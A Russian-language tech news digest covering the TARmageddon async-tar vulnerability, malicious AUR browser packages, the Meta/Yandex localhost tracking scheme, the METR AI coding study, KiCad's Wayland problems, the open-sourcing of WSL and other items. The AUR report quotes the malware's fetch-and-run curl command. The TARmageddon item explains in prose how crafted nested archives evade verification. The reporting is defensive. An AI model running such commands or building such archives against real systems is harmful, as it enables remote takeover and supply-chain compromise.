В написанной на языке Rust библиотеке async-tar, предоставляющей функции для чтения и записи tar-архивов, выявлена уязвимость (CVE-2025-62518, кодовое имя TARmageddon), позволяющая при распаковке специально оформленного tar-архива не только извлечь размещённые в нём файлы, но и файлы, содержащиеся во вложенном tar-архиве. Уязвимость может быть использована для обхода систем верификации архивов и распаковки файлов, для которых не выполнялась проверка.

Уязвимость также проявляется в форках библиотеки async-tar, таких как tokio-tar, krata-tokio-tar и astral-tokio-tar, а также в утилитах на их основе, например, в пакетном менеджере uv, развиваемом в качестве высокопроизводительной замены «pip» для проектов на языке Python. Из популярных проектов, использующих уязвимые библиотеки, также отмечаются инструментарий testcontainers для запуска docker-контейнеров и WebAssembly runtime wasmCloud. В репозитории crates.is за последние 90 дней библиотека async-tar насчитывает 1.3 млн загрузок, tokio-tar - 2.2 млн, testcontainers - 2.9 млн.

Уязвимость вызвана некорректным выбором позиции при разборе разных значений размера в заголовках ustar и PAX. В tar-архивах в формате PAX для каждого файла внутри архива указываются два заголовка - классический ustar и расширенный PAX. Проблема вызвана тем, что уязвимые библиотеки при распаковке файлов вместо вычисления смещения на основе размера из расширенного заголовка PAX, брали размер из устаревшего заголовка ustar. При нулевом значении размера в заголовке ustar, идущее за ним содержимое файла обрабатывалось как корректный блок TAR-заголовков для следующего файла.

Для совершения атаки достаточно создать TAR-архив, в котором в ustar-заголовке указан нулевой размер, а в заголовке для формата PAX актуальный размер, из-за чего содержимое файла с другим tar-архивом будет обработано как часть основного архива. Пример кода для создания подобных архивов размещён на GitHub. Уязвимость устранена в выпусках tokio-tar 0.5.6 и uv 0.9.5. Для остальных библиотек исправления пока не опубликованы, но для astral-tokio-tar, async-tar и krata-tokio-tar отдельно подготовлены патчи.

Уязвимости в библиотеках присвоен уровень опасности 8.1 из 10, так как проблема может использоваться для перезаписи распаковываемых файлов (в уязвимых реализациях будут распакованы не те файлы, что были видны в архиве). При этом уязвимость в пакетном менеджере uv отмечена как неопасная, так как если атакующий может влиять на содержимое исходного архива, нет смысла усложнять атаку и эксплуатировать уязвимость через вложенный архив, когда можно добиться выполнения кода через сборочные сценарии в основном архиве.

Выявившие уязвимость исследователи предложили несколько гипотетических сценариев атак, позволяющих обойти проверки безопасности и добиться выполнения кода через замену файлов конфигурации или вмешательство в сборочный процесс. Подразумевается, что присланный архив сможет пройти автоматизированную проверку сканером безопасности и ручной аудит, в ходе которого проверяющий не обратит внимание на странный вложенный архив с другими файлами, после чего при распаковке при помощи Rust-библиотек из архива будет извлечено иное содержимое, чем ожидалось.

Например, атакующий может загрузить модифицированный архив в репозиторий PyPI, который пройдёт проверку на основе анализа содержимого основного архива, содержащего легитимный файл pyproject.toml. При обработке данного пакета при помощи утилиты uv легитимный pyproject.toml будет заменён на вредоносный вариант из вложенного архива, содержащий команды, которые будут выполнены при сборке на компьютере разработчика или в системе непрерывной интеграции. Аналогично, можно организовать перезапись файлов контейнера при извлечении образа контейнера при помощи инструментария testcontainers.

>>> Подробности на OpenNET

В репозитории AUR (Arch User Repository), были обнаружены пакеты содержащие вредоносный код, интегрированные в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад трём вредоносным пакетам с браузерами, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.

В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда ‘python -c «$(curl вредоносная ссылка)»’, загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.

Вредоносный пакет был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления этого вредоносного пакета в AUR были загружены два вредоносных пакета - «chrome» и «chrome-bin», содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.

Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.

>>> Подробности

В ветку Android Canary добавлена возможность запуска графический приложений linux. Запуск осуществляется через приложение Linux Terminal, позволяющее запустить в окружении Android виртуальную машину с Debian GNU/Linux, в которой можно выполнять обычные Linux-приложения.

Функциональность виртуальной машины c Linux развивается в рамках проекта Ferrochrome. В гостевом окружении запускается Debian GNU/Linux 12. Для виртуализации используется Android Virtualization Framework, реализованный на базе гипервизора KVM и инструментария crosvm. Графическое окружение использует протокол Wayland и основано на композитном сервере Weston. Запуск приложений, собранных для X11, производится при помощи DDX-компонента XWayland, например, продемонстрирован запуск текстового редактора Gedit.

Есть принципиальная возможность использовать аппаратное ускорение графики на основе виртуального GPU Virgil3D для QEMU/KVM. В качестве иллюстрации продемонстрирован запуск doom. По умолчанию аппаратное ускорение отключено.

>>> Подробности

Исследовательская группа METR (Model Evaluation & Threat Research) опубликовала результаты эксперимента по оценке эффективности применения AI-инструментов для написания кода. Вопреки ожиданиям, исследование показало, что AI-помощники не ускоряют, а замедляют решение поставленных задач, при том, что субъективно участники эксперимента считали, что AI ускорил их работу.

Фактически при использовании AI-помощника на решение задачи в среднем было потрачено на 19% больше времени, в то время как участники полагали, что благодаря AI смогли выполнить работу на 20% быстрее, а до начала работы считали, что AI поможет им ускорить работу на 24%. Результаты также значительно расходятся с прогнозами экспертов в области экономики и машинного обучения, которые предсказывали экономию времени при использовании AI на 39% и 38%, соответственно.

В ходе эксперимента 16 разработчикам открытых проектов, имеющим средний опыт работы с AI-инструментами, было предложено решить 246 задач, связанных с исправлением ошибок и добавлением новых возможностей. Задачи были сформированы на основе реальных issue в GitHub-репозиториях проектов, с которыми у выбранных разработчиков был опыт работы не менее 5 лет. Случайным образом часть задач предлагалось решить вручную, а часть с использованием любого AI-помощника на выбор разработчика (большинство предпочли редактор кода Cursor с моделью Claude 3.5/3.7 Sonnet).

В эксперимент, который проводился с февраля по июнь 2025 года, были вовлечены такие открытые проекты, как mito, stdlib, ghc, cabal, flair, jsdom, hypothesis, trieve, scikit-learn, gpt-neox и transformers. В среднем задействованные проекты имели 23 тысячи звёзд на GitHub, 1.1 млн строк кода, 20 тысяч коммитов и 710 участников.

Упоминаются следующие возможные причины замедления решения задач при использовании AI:

• Низкое качество AI-рекомендаций - разработчики приняли менее 44% от сгенерированных AI предложений и потратили много времени на их чистку и проверку.

• Излишний оптимизм в плане полезности AI и завышенные ожидания от возможностей AI-инструментов.

• Большой опыт работы участников с репозиториями, для которых решались задачи. Разработчики очень хорошо ориентировались в проектах и помощь AI в этой ситуации не представляла ценности.

• В эксперименте использовались слишком крупные и сложные репозитории, с которыми AI работает хуже.

• Неявный контекст репозитория - AI не понимал контекст, в котором работал.

Итоговый вывод: при использовании AI-инструментов разработчики тратят меньше времени на написание кода, поиск информации и чтение документации, но данная экономия сводится на нет из-за повышенных затрат времени на формирование запросов к AI, разбор подсказок, ожидание результата, рецензирование предложений и бездействие. Вместо генерации кода время уходит на взаимодействие с AI, изучение результатов и проверку предложенного кода.

>>> Подробности на opennet

Разработчики свободной системы автоматизированного проектирования печатных плат KiCad рассказали о состоянии реализации поддержки Wayland и обобщили проблемы, мешающие полноценному использованию данного протокола. Пользователям, профессионально проектирующим печатные платы в KiCad или желающим получить стабильное и полнофункциональное окружение, рекомендовано запускать KiCad в средах рабочего стола на базе протокола X11, таких как Xfce, MATE или X11-сеанс KDE Plasma.

Тем кто намерен использовать KiCad в окружениях с Wayland следует быть готовым к возможным зависаниям и аварийным завершениям, невозможности восстановить желаемую раскладку окон и ограничению функциональности интерфейса. Утверждается, что ограничения в функциональности вызваны отсутствием в Wayland возможностей, давно применяемых в приложениях для X11, Windows и macOS, таких как поддержка позиционирования окон и мгновенного перемещения указателя мыши (cursor warp).

Что касается возникающих сбоев, то они связываются с большой фрагментацией композитных серверов для Wayland. GNOME, KDE и обособленные композитные менеджеры по-своему интерпретируют протоколы Wayland, поэтому полагаться при разработке на единую целостную реализацию протоколов Wayland и экспериментальные расширения проблематично. Разработчикам приложений приходится учитывать особенности каждого окружения и применять костыли для обхода проблем, специфичных для разных композитных менеджеров.

Фрагментация композитных серверов существенно увеличивает трудозатраты на реализацию поддержки Wayland. Отмечается, что самое неприятное в том, что разработчики KiCad не имеют возможности исправить возникающие проблемы своими силами, так как проблемы присутствуют не в KiСad, а в протоколах, оконных менеджерах и композитных серверах.

Учитывая, что Linux применяет лишь небольшая часть пользователей KiCad, решено избегать добавления в кодовую базу проекта костылей для обхода проблем, специфичных для оконных менеджеров, но при этом продолжать собирать KiCad для Wayland и тестировать сборки на совместимость. Все выявляемые проблемы и ограничения планируют документировать и доводить до сведения пользователей.

В системе отслеживания ошибок решено не разбирать жалобы от пользователей Wayland, связанные с позиционированием и размером окон, установкой фокуса, а также зависаниями, аварийными завершениями, повышенной нагрузке на CPU, проблемами с устройствами ввода и сбоями при отрисовке, не проявляющимися в сборке для X11.

Среди известных проблем, которые находятся вне зоны влияния разработчиков KiCad и которые не удаётся устранить на стороне KiCad:

• Проблемы с управлением окнами: Невозможность управления позицией окон и панелей (при открытии KiCad нельзя запомнить и восстановить положение окон и панелей инструментов). Проблемы с координацией работы одновременно с несколькими окнами. Ограничение возможности перемещения вкладок и панелей между разными областями.
• Проблемы с устройствами ввода: Возможность мгновенного перемещения курсора (cursor warping) завязана на необязательные экспериментальные расширения протокола, поддерживаемые лишь в отдельных композитных менеджерах. Непредсказуемое поведение при управлении фокусом ввода. Проблемы при использовании специализированных устройств ввода и при обработке горячих клавиш.
• Проблемы со стабильностью и производительностью: Повышенное потребление ресурсов и высокая нагрузка на CPU/GPU по сравнению с использованием X11. Появление графических артефактов при отрисовке и нарушение нормального вывода. Зависания и аварийные завершения, проявляющиеся только при работе в окружениях на базе Wayland. Ненадёжная работа с буфером обмена.
• Ограничения интерфейса пользователя: Проблемы с позиционированием, фокусом и взаимодействием в модальных диалогах. Проблемы с запуском внешних приложений и управления ими.

>>> Подробности (opennet)

Компании Meta* и Yandex уличили в скрытом отслеживании пользователей и манипуляциях для обхода предоставляемых браузерами средств обеспечения конфиденциальности, таких как режим инкогнито и возможность очистки Cookie. Активность по деанонимизации сеансов применялась на платформе Android при открытии сайтов, использующих системы web-аналитики Яндекс Метрика или Facebook Pixel.

Суть использованного метода идентификации сводится к тому, что распространяемые Meta и Yandex мобильные приложения для Android, такие как Facebook, Instagram, Yandex Maps, Yandex Navigator, Yandex Search, Yandex Go: Taxi Food и Yandex Browser, создавали дополнительный канал связи с выполняемым в браузере JavaScript-кодом. Мобильные приложения запускали отдельные обработчики соединений на локальном сетевом интерфейсе (127.0.0.1), принимающие запросы по протоколам HTTP, HTTPS, WebSocket и WebRTC.

При открытии в браузере сайтов, использующие системы web-аналитики Yandex Metric или Facebook Pixel, связанный с данными системами JavaScript-код отправлял запросы на открытые мобильными приложениями сетевые порты. В запросах передавались метаданные, Cookie и управляющие команды. В мобильных приложениях браузерные сеансы связывались с реальными идентификаторами пользователя и устройства, к которым имели доступ приложения. Например, сеансы могли связываться с учётными записями в Facebook и Yandex или с идентификаторами AAID (Android Advertising ID). Таким образом, даже при открытии сайта в режиме инкогнито или после удаления Cookie, сервисы Meta и Yandex могли точно идентифицировать пользователя, открывшего сайт, привязываясь к идентификаторам из мобильных приложений, запущенных на том же устройстве.

Реализованная техника представляла опасность не только из-за утечки информации в Facebook и Yandex, но и из-за возможности использования вредоносными приложениями. Сетевые порты, на которые отправлялись сведения об активности в браузере, могли использовать любые приложения для отслеживания активности пользователя и построения истории посещений, а не только приложения Facebook и Yandex.

Компании Facebook и Yandex воспользовались тем, что платформа Android не ограничивает создание слушающих сокетов в привязке к интерфейсу loopback (127.0.0.1), если приложение имеет полномочия INTERNET. В случае Facebook локальному приложению передавалось содержимое Cookie «_fbp» (уникальный идентификатор пользователя в Facebook Pixel). Через манипуляции с WebRTC содержимое подставлялось в поле «ice-ufrag» пакетов SDP, отправляемых в STUN-запросах на локальный хост. 17 мая в Chrome была заблокирована подобная возможность и скрипты Facebook Pixel перевели на использование WebRTC TURN. После раскрытия результатов исследования компания Meta удалила из скриптов Facebook Pixel отправку запросов на localhost.

В Яндекс метод отправки данных из браузера в мобильные приложения применялся с 2017 года. JavaScript-код сервиса Yandex Metrica устанавливал HTTP- или HTTPS-соединение с localhost по сетевым портам 29009, 29010, 30102 и 30103. Обращения отправлялись на сайт yandexmetrica.com, доменное имя которого резолвилось в IP-адрес 127.0.0.1. Информация о сетевых портах, на которых мобильные приложения Yandex должны были открыть слушающие сокеты, подгружалась динамически через запрос к хосту startup.mobile.yandex.net.

Сервер также передавал параметр first_delay_seconds, содержащий задержку перед запуском сетевых сервисов (приложения начинали принимать соединения не сразу после установки, а примерно через три дня). В ответ на HTTP-запрос мобильное приложение возвращало набор данных, включающий идентификаторы в сервисах Yandex, системные UUID и AAID (Android Advertising ID). JavaScript код Yandex Metric переправлял полученные идентификаторы на сервер mc.yango.com.

Упомянутые методы передачи данных работали в версиях Chrome и Edge для Android. В Firefox работал только метод Yandex. В DuckDuckGo и Brave отправка запросов к localhost блокировалась или требовала ручного подтверждения операции. В представленном в конце мая выпуске Chrome 137 была добавлена защита от подстановки данных в SDP.

*компания МЕТА и Facebook запрещены на территории РФ (тьфу тьфу тьфу на них окаянных).

>>> Подробности (opennet)

Microsoft опубликовал исходные тексты подсистемы wsl. Для желающих присоединиться к разработке запущен сайт wsl.dev.

WSL предоставляет виртуальную машину с полноценным ядром Linux (на базе ветки 6.6), в которой могут запускаться дистрибутивы Linux. Ядро включает специфичные для WSL изменения, такие как оптимизации для сокращения времени запуска и уменьшения потребления памяти, возможность возвращения Windows освобождённой Linux-процессами памяти и настройки для исключения лишних драйверов и подсистем. Система устанавливается в отдельный дисковый образ (VHD) c файловой системой ext4 и виртуальным сетевым адаптером.

Компоненты WSL, связанные с ядром Linux и графическим стеком wslg, применяемым для для запуска GUI-приложений на базе Wayland и X11, развивались в открытом виде изначально, но весь сопутствующий инструментарий оставался проприетарным. Отныне в число открытых переведены следующие компоненты:

• утилиты командной строки wsl.exe, wslconfig.exe и wslg.exe, используемые для взаимодействия с WSL;
• сервис wslservice.exe, применяемый для запуска виртуальной машины, активации в ней Linux-окружения и монтирования файловых систем;
• фоновые процессы, запускаемые в Linux-окружении для доступа к функциональности WSL. Например, процесс init для начальной инициализации, gns для настройки сетевого доступа, localhost для перенаправления портов;
• процесс plan9 с реализацией сервера Plan9, применяемого в WSL для совместного доступа к Linux-файлам из Windows.

Остаются частью Windows и не открыты в настоящее время:

• драйвер ядра Lxcore.sys, применяемый для запуска исполняемых файлов в формате ELF через слой обеспечения совместимости;
• драйвер P9rdr.sys и библиотека p9np.dll, обеспечивающие перенаправление доступа к ФС «\wsl.localhost» при обращении из Windows к Linux.

Одновременно компания Microsoft открыла под лицензией MIT исходный код консольного текстового редактора Edit, написанного на модном языке Rust и нацеленного на поставку по умолчанию в 64-разрядных версиях Windows. В ближайшие месяцы редактор будет предложен для ознакомления и тестирования в сборках Windows Insider Program, после чего войдёт в штатную поставку Windows 11.

В редакторе попытались реализовать современный интерфейс с управлением в стиле VS Code. Целью заявлено предоставление интерфейса, который был бы понятен и прост в использовании даже для тех, кто не имеет опыта работы в терминале. Редактор компактен и занимает всего 250kB на диске. Из возможностей упомянуты: система меню, управление клавиатурными комбинациями или мышью, поддержка вкладок и одновременной работы с несколькими файлами, операции поиска и замены, режим автоматического переноса текста на новую строку.

>>> Подробности (OpenNet)

Цель разработки компилятора – полная совместимость с синтаксисом языков Си и С++ при обеспечении полной безопасности работы с памятью. Заявляется, что для использования достаточно пересобрать существующий код, так уже компилируются и работают bzip2, zip, pcre и ncurses. С незначительными модификациями поддерживается сборка OpenSSH, OpenSSL, CPython, SQLite, Lua, Curl, Lynx, jpeg6b, zsh, xzutils и simdutf.

( читать дальше... )

>>> Подробности

Проект развивает Робин Роу (Robin Rowe), бывший профессор компьютерных наук, принимавший участие в комитетах по развитию стандартов С и С++, в своё время создавший графический редактор Cinepaint, использовавшийся при создании некоторых голливудских фильмов, и POSIX-библиотеку libunistd для Windows. Соучредителем компании Trasec выступает Габриэль Пантера (Gabrielle Pantera), занимавшая руководящий пост в компании Disney.

Из особенностей:

• Проверки выхода за границы массива. В TrapC применяется фундаментально иной способ работы с указателями и специальный механизм перехвата ошибок на основе обработчиков исключений (trap).

• Проверки use after free.

• Наличие GC.

• Выделение памяти через new. *alloc и free нет.

• Явная инициализация нулями.

• Строгая типизация.

Исходный код компилятора для TrapC планируют открыть в 2025 году.

>>> Подробности

gpu.cpp — лёгкая переносимая библиотека для вычислений на графических сопроцессорах. Для работы требуется только компилятор C++, поддерживающий стандарт С++17 (разработчики почему-то настаивают на clang), и сама библиотека. Заявляется работа на любых устройствах, поддерживающих Vulkan, Metal, или DirectX.

( читать дальше... )

>>> Подробности

Третий год подряд Red Hat вручает премии женщинам, вносящим важный вклад в проекты с открытым исходным кодом. Финалисты премии определялись на основе критериев выдвижения кандидатов, победителей определяло общественное голосование. В 2017 году финалистками стали:

• Avni Khatri — президент некоммерческой организации Kids on Computers, создающей компьютерные классы со свободным программным обеспечением в бедных странах (Мексике, Индии, Марокко). Уже более 16 лет Авни является контрибьютором в мире Open Source и помогает детям получать неограниченный доступ к образованию на основе технологий Open Source.
• Jigyasa Grover, которая была награждена в академической категории и является студенткой Делийского технологического университета, обучаясь на степень бакалавра в области вычислительной техники. В течение трёх лет она является разработчиком проектов с открытым исходным кодом. По мере совершенствования своих навыков она в конечном итоге стала одним из главных участников Pharo 4.0, выпущенного в 2015 году. Гровер участвовала в программе Google Summer of Code в 2015 и 2016 годах и в настоящее время является наставником.

Помимо общественного признания, победительницы также были удостоены денежной премии в размере 2500 $ США.

>>> Подробности

После того как компания Microsoft объявила о создании порта своей базы данных под GNU/Linux, специалистами Red Hat было произведено тестирование. В качестве оборудования для тестирования был использован сервер HPE Proliant DL380 Gen9 в одинаковой комплектации с двумя процессорами Intel Xeon E5-2699 v4. В качестве операционных систем были использованы Microsoft Windows Server 2012 R2 Standard Edition и Red Hat Enterprise Linux 7.3. В качестве тестовой СУБД было использовано ПО компании Microsoft — Microsoft SQL Server 2017 Enterprise Edition. По итогам тестирования было выявлено, что:

1. Производительность СУБД под RHEL была больше на 6 %.
2. Использование RHEL 7.3 на этом сервере на 5 % дешевле, чем использование Microsoft Windows Server 2012 R2 Standard Edition.

По мнению сотрудников Red Hat, теперь их клиенты имеют полноценный выбор между GNU/Linux и Windows для запуска MS SQL. И делая это на Red Hat Enterprise Linux 7.3, они получают большую производительность за меньшую цену по сравнению с аналогичным решением на основе Windows.

>>> Подробности

20 апреля вышло обновление до версии 1.2.0 приложения для обмена сообщениями соц. сети vk.com.

Приложение представляет собой надстройку над Сhromium, поддерживает передачу аудиосообщений, фотографий, и документов, а также групповые чаты.

Новая версия стала доступна для GNU/Linux, также в ней присутствуют следующие изменения:

• Если при упоминании в беседах ввести «@» и выбрать пользователя, он получит уведомление.
• Добавлен компактный режим.
• Недавно удалённое сообщение теперь можно восстановить.
• Голосовые сообщения теперь можно перематывать и слушать перед отправкой. Воспроизведение следующего включается автоматически. Голосовое сообщение больше не пропадёт, если попробовать сменить вкладку диалога в момент записи.
• В сообщениях теперь отображаются красивые ссылки и записи со стены.
• Добавлена поддержка прокси.

>>> Подробности

В конце сентября компания «Цифровые технологии» завершит работы над новой версией Trusted eSign (КриптоАРМ Linux). В нем будет реализована поддержка алгоритмов ГОСТ для формирования и проверки электронной подписи, хэширования и шифрования.

Новая версия будет примечательна совместимостью с СКЗИ «КриптоПро CSP 4.0» и поддерживает все криптографические алгоритмы, реализованные в нём:

• Алгоритм выработки значения хэш-функции реализован в соответствии с требованиями ГОСТ Р 34.11-94 / ГОСТ Р 34.11-2012 «Информационная технология. Криптографическая защита информации. Функция хэширования».
• Алгоритмы формирования и проверки электронной подписи реализованы в соответствии с требованиями ГОСТ Р 34.10-2001 / ГОСТ Р 34.10-2012 «Информационная технология. Криптографическая защита информации. Процессы формирования и проверки электронной цифровой подписи».
• Алгоритм зашифрования/расшифрования данных и вычисление имитовставки реализованы в соответствии с требованиями ГОСТ 28147-89 «Системы обработки информации. Защита криптографическая».

Еще одним нововведением станет возможность применения ключей и сертификатов электронной подписи на отчуждаемых носителях (USB-токенах и смарт-картах). Это будут популярные модели Рутокен S, Рутокен Lite и JaCarta PKI от отечественных производителей.

Перечень поддерживаемых операционных систем также расширится. К списку из Ubuntu и Astra Linux добавятся российские ОС РОСА и ALT Linux, а также актуальные версии Debian и CentOS.

>>> Подробности

Отныне для того чтобы запустить Сhrome без графики достаточно использовать опцию --headless. При этом общаться с браузером можно будет по chrome debugging protocol.

На сайте разработчиков сообщается, что данная особенность может быть использована для создания растровых изображений и извлечения метаданных из страниц. Разработчиками подготовлена небольшая наглядная демонстрация процесса. Сообщается, что данная особенность появится в Сhrome 59 и будет доступна для Windows, GNU/Linux и macOS. В Opera данный флаг появится в 46 релизе. Также подобный режим разрабатывается для Firefox.

>>> Подробности

Общие финансовые показатели за 2016 год составили:

• Общий доход в четвертом квартале 2016 года составил 629 млн. долларов США, что на 16% больше, чем в предыдущем году.
• Общий финансовый доход за весь финансовый год 2,4 млрд. долларов США, что на 18% больше, чем в предыдущем году.

( читать дальше... )

>>> Подробности

После одиннадцати лет работы Microsoft намерен закрыть этот свободный хостинг по причине малой востребованности и низкой популярности среди разработчиков. В течение нескольких лет Microsoft выкладывал свои открытые проекты, такие как Visual Studio Code, TypeScript, .NET и целый ряд других на GitHub, который к настоящему времени превратился в отраслевой стандарт.

План отключения подразумевает полную остановку хостинга 15 декабря 2017 года. Для действующих проектов предлагаются схемы миграции на GitHub и BitBucket.

>>> Подробности

Разработчики Google Chrome рассматривают меры снижения доверия и постепенную блокировку сертификатов (через снижение срока их действия), выданных подконтрольными Symantec центрами сертификации. Недовольство и опасения вызвала политика выдачи сертификатов, которые компания проводила предыдущие несколько лет. Symantec недостаточно тщательно контролировала процесс выдачи сертификатов, что привело к снижению безопасности пользователей Google Chrome.

Такие «мягкие» меры объясняются тем, что подконтрольные Symantec центры занимают значительную долю: по разным данным 30-40% всех проверок касаются сертификатов выданных проблемными CA.

Предлагаемые меры:

• EV-сертификаты предлагается рассматривать как DV сроком на год. Если не будет предпринято мер по исправлению ситуации со стороны CA, политика снижения доверия продолжит действовать.
• В Chrome 59 значение максимального срока действия сертификатов Symantec планируется ограничить 33 месяцами, Chrome 60 — 27 месяцами, Chrome 61 — 21, и в итоге в Chrome 64 — 9 месяцами. Кроме того, для всех новых сертификатов предлагается сразу ограничить срок действия 9 месяцами.

За это время CA подконтрольным Symantec (Symantec, Thawte, GeoTrust) предлагается заменить все «малодоверенные» сертификаты и устранить недостатки в процессах их выдачи.

>>> Подробности

Khronos Group cертифицировала поддержку OpenGL 4.5 в драйверах для встроенных графических модулей Intel.

Khronos Group также сертифицировала Vulkan и OpenGL ES.

На сегодняшний день это единственные полностью открытые сертифицированные драйверы с поддержкой всех вышеприведенных стандартов.

>>> Подробности

Один из разработчиков Nvidia Aaron Plattner объявил:

Мы знаем, что некоторые клиенты сообщали о проблемах со скоростью вращения вентилятора с последними 196.75 подписанными WHQL драйверами. Пока мы не можем решить эту проблему и рекомендуем, откатились на предыдущую версию драйвера. Релиз 196.75 драйверов был временно удалён с нашего сайта.

Мы считаем, последние версии драйверов NVIDIA для *NIX, 195.36.08 и 195.36.03, также имеют такую же проблему. Пока проблема не будет решена, мы рекомендуем пользователям *NIX вернуться к 190.53 или 195.30 публичной бета-версии драйверов.

Мы находимся в процессе удаления драйверов версий 195.36.08 и 195.36.03 с FTP сайта NVIDIA.

Мы разместим дополнительную информацию по мере ее получения.

>>> Подробности